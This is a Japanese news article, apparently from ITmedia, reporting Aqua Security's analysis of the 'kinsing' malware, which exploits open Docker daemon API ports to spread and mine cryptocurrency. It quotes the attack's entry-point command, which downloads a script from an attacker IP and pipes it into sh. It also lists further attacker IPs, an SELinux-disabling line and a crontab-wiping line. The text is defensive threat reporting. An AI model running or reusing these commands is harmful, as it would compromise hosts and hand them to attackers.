コンテナを標的にしたマルウェア、Aqua Security Softwareが攻撃手法を解説:クラウドネイティブ環境にも危険あり
Aqua Security Softwareは、コンテナ環境を標的にした「kinsing」マルウェア攻撃の脅威について、レポートを発表した。Docker APIポートの設定ミスにつけ込み、多数のコンテナに感染しながら、仮想通貨の発掘を試みる攻撃だ。クラウドネイティブ環境では何に気を付ければよいのかもまとめている。
Aqua Security Softwareは2020年4月3日(米国時間)、コンテナ環境を標的にした「kinsing」マルウェアによる攻撃の脅威について解説したレポートを発表した。
同社はコンテナ向けのセキュリティ対策製品などを手掛け、企業によるクラウドネイティブアプリケーションやインフラのセキュリティ確保を支援する企業だ。
同社によると、コンテナ環境を狙った攻撃がこのところ増加しているという。中でも、誤って構成されたオープンDocker Daemon APIポートを標的にした攻撃キャンペーンが目立つ。数カ月にわたってキャンペーンが継続しており、かつてない高頻度となっている。同社はこの攻撃が、攻撃実行に必要な大規模なリソースとインフラを有する攻撃者によって、計画的に行われていると結論付けている。
Aqua Security Softwareの分析によれば、攻撃者は「kinsing」マルウェアを使い、誤って構成されたDocker Daemon APIポートを悪用してUbuntuコンテナで実行する。その後、kinsingマルウェアが自身のコピーを他のコンテナやホストに拡散しようとすることを突き止めた。最終的には仮想通貨を発掘するクリプトマイナーがコンテナ内に配置される。
どのように攻撃が始まるのか
今回見つかった攻撃の仕組みに関する同社の分析は次の通りだ。
攻撃者は、保護されていないオープンDocker APIポートを悪用し、Ubuntuコンテナを次のエントリーポイントでインスタンス化する。
/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null
このエントリーポイントは、この攻撃で常に使用されていた。攻撃ごとに違っていたのは「d.sh」がダウンロードされるIPアドレスだけだった。例示したIPアドレスの他、「217.12.221.244」と「185.92.74.42」というIPアドレスが使われていた。
例示したコマンドは、次のような一連の処理を実行する。
- 「apt-get update」コマンドでパッケージを更新する
- 「apt-get」コマンドで「wget」コマンドをインストールする
- 「cron」サービスを開始する
- インストールしたwgetコマンドでシェルスクリプトをダウンロードする
- シェルスクリプトを実行し、/dev/nullから際限なく読み取りを実行し、コンテナの動作を維持する
特徴的なのはwgetコマンドでconシェルスクリプトをダウンロードしている点だ。このシェルスクリプトは後ほど、コンテナ内で永続性を獲得するために使われる。
セキュリティ防御を回避し、永続性を確保する
d.shという名称のシェルスクリプト(以下、シェルスクリプト)は、600行以上あり、次の7段階の内容を実行する。
- セキュリティ対策を無効にし、ログを消去する(echo SELINUX=disabled >/etc/selinux/config)
- 多数のアプリケーション、特に他のマルウェアとクリプトマイナーを強制終了する
- 他のマルウェアやクリプトマイナーに関連するファイルを削除する(主に/tmpディレクトリから)
- 実行中の競合する悪意あるDockerコンテナを強制終了し、それらのイメージを削除する
- kinsingマルウェアをダウンロード後、実行する
- crontabを使って、1分ごとにシェルスクリプトをダウンロードして実行する
- cronで実行されている他のコマンドを探し、見つかったら、自身を含む全てのcronジョブを削除する。攻撃者がこの処理を選んだ理由は不明だが、シェルスクリプト内の次の行では、説明した通りの処理を行う
crontab -l | sed '/update.sh/d' | crontab -
マルウェアを実行する
Aqua Security Softwareが分析のためにkinsingをマルウェア検査サイト「Virus Total」に提出したところ、kinsingは同サイトによってLinuxエージェントと特定された。
kinsing内の文字列から、このマルウェアはGo言語で記述されており、次のようなGoライブラリを使用することが分かった。
- go-resty:HTTPとRESTのクライアントライブラリ。コマンド&コントロール(C&C)サーバとの通信に使う
- gopsutil:プロセスユーティリティーライブラリ。システムとプロセスの監視に使う
- osext:標準の「os」パッケージの拡張版。バイナリの実行に使う
- diskv:ストレージ用のディスクバックアップされたキーバリューストア
C&Cサーバとの通信を始める
Copyright © ITmedia, Inc. All Rights Reserved.
関連記事
- コンテナ、サーバレスなどクラウドネイティブに求められる「開発者に優しいセキュリティ」がゼロトラストな理由
コンテナ、マイクロサービス、サーバレス、そしてアジャイル/DevOpsといった、デジタルトランスフォーメーション(DX)時代に求められる技術や手法を駆使した現在の開発では、どのようなセキュリティバイデザインが求められるのか。 - 「コンテナセキュリティ」とは――コンテナを活用する人が知っておくべき6つのポイント
エンジニアならば避けては通れない技術となった「コンテナ」に“脅威”はないのだろうか? “コンテナセキュリティ”が考慮すべき6つのポイントや、どこで脅威が混入する可能性があるのかをトレンドマイクロに聞いた。 - 開発から運用まで、コンテナの“DevSecOps”を実現するAqua Securityが日本本格展開
Aqua Container Security Platformは、コンテナを利用したサービス/アプリケーションの開発から本番展開、運用に至る各プロセスで、コンテナ技術に合わせたセキュリティ対策を提供するソフトウェア製品群だ。